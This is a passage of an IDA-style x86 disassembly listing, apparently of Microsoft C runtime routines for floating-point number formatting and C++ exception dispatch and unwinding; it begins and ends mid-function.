loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_4CDA20, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4CDA28, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_4CDA20 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4CDA28, ecx setl cl mov byte_4CDA2C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4CDA28, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4CDA24, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_4CDA24, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4CDA24, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_4CDA24, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_4CDA30 test esi, esi jz loc_41CEBC mov eax, dword_4CDA34 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4CDA38, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4CDA30 mov [ebp+var_1C], ecx mov ecx, dword_4CDA34 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4CDA30, edi mov ecx, [ebp+arg_8] mov dword_4CDA34, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4CDA30, eax mov eax, [ebp-20h] mov dword_4CDA34, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4CDA3C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov 